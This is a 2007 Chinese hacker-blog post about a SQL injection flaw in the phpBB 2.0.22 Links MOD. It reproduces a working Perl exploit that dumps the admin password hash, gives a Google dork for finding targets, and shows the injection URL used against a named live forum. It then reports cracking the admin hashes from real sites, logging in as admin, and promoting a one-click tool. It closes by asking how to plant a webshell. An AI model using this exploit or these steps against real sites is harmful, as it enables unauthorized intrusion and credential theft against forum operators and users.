PHPBB最新漏洞大暴光

作者:coolgo 日期:2007/11/11

文章作者:伤心的鱼[SST]
个人站点:www.hack521.cn


文章已投稿黑客手册转载请著名

据悉最早这个漏洞是六月份被牛淫们挖掘出来的 直到8月31号mil才公布了EXP.. 偶是提前了几天拿到的。爽玩了几天 :)

这段时间动网跟Discuz论坛相继暴出高危漏洞.可见国内的论坛安全一直不好.这次给大家带来的是PHPBB论坛的最新漏洞,这个漏洞也是各位大牛玩了几个月才爆出来的.我等小菜也只能玩玩人家剩下的了.. 嘿嘿   据悉此漏洞可以直接爆出

管理员密码的MD5值.能不能跑出来就要看各位的RP怎么样了'_'
首先简单介绍一下PHPBB论坛系统. phpBB论坛是具有友好的用户界面,使用了当今网络上流行的php语言工作,可以搭配MySQL,MSSQL,PostgreSQL, 等数据库系统使用。。

适合于大多数的网站用来搭建论坛系统 使用也是非常广泛的 。
首先我们来看一下www.milw0rm.com给出的漏洞公告如下  地址 http://www.milw0rm.com/exploits/4346

#!/usr/bin/perl
print q{
phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit
Bug discovered by Don
Dork: allinurl:links.php?t=search
   or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20WHERE%20user_id=2/*
};
use IO::Socket;
print q{
=> Insert URL
=> without ( http )
=> };
$server = <STDIN>;
chop ($server);
print q{
=> Insert directory
=> es: /forum/ - /phpBB2/
=> };
$dir = <STDIN>;
chop ($dir);
print q{
=> User ID
=> Number:
=> };
$user = <STDIN>;
chop ($user);
if (!$ARGV[2]) {
}
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20WHERE%20user_id=".$user."/*";
print "
Exploit in process...\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "Exploit failed";
print "Exploit\r\n";
print "in process...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "Exploit finished!\r\n\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "MD5-Hash is: ".$1."\r\n";
}
exit();
}
}


从公告上我们可以很清楚的看到出现问题的是PHP222.0.22 MOD版 Links.php存在严重的注射漏洞.我们可以自己构造语句来查询管理员的密码。我们来根据公告给出的方法来测试一下这个漏洞的威力.

首先打开可爱的google,搜索allinurl:links.php?t=search就能找到很多PHPBB的论坛 如图1



会找到很多PHPBB的论坛.随便打开一个看下是不是PHPBB的论坛 如图2




然后我们在论坛的URL后面加上我们要查询的语句 查询语句在公告里已经给出来了.就是links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20where%20user_id=2/*
PHP手工注射我就不多说了. 资料很多。 目前对于PHP注射的工具来说实在是有限。学好SQL 手动吧~
我们直接复制粘贴在论坛的URL后面就可以了 如图3

点击在新窗口查看全图

也就是 http://www.inv168.com/phpBB2/links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20where%20user_id=2/* 这个地址. 然后我们直接回车 直接查询出管理员密码的MD5值 如图4




这里我们很清楚的可以看到管理员的用户名是beatles 密码是c4c371099cbdfb2c794eec59afd731a8 MD5加密过的. 偶们拿去cmd5跑一下   如图5



  
我们看到密码已经跑出来了 是183454 拿去登陆一下看看.
如图6




我们已经成功登陆 说明爆出来的密码是正确的  嘿嘿但是我们有些朋友会觉的手工太麻烦
已经有人为我们写好了利用工具 来看一下 如图7




我们在URL里添入我们查到的PHPBB论坛 然后直接点暴. 就可以在最下面暴出管理员的用户名跟密码
如图8




跟我们手工查询出来的密码是一样的 嘿嘿 为了证明这个工具的好用。我就在找一个论坛来试下
如图9




我们直接把URL添到工具里 然后直接点暴 就看到了 用户名是admin 密码是604c032d197888336a06606067a9e2d9 MD5的值  
如图10  




然后直接在cmd5查出密码是010630219
我们登陆一下. 已经成功的用admin登陆论坛
如图11




由此可见这个工具还是蛮好用的.不像我们以前所知道的漏洞利用工具。不是需要抓包就是需要自己构造代码.  呵呵. 我用google一搜大概有80% 的站都存在这个漏洞的 呵呵 各位可要慎用啊

知道方法就可以 可不要搞 破坏啊  呵呵 如果有什么不明白的地方可以随时来SST找我 我是伤心的鱼 另外对于PHPBB后台拿WEBSHELL 还请大

牛们指教~ 目前除了后台添加PHP类型(我从来就没成功过) 然后就是要有root权限才可以拿SHELL 。  希望各位大牛指教

图片传了几次都传不上。 我跟文章一起打包发上来  需要的自己下~~


发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
记住我
昵称   密码   游客无需密码
网址   电邮   [注册]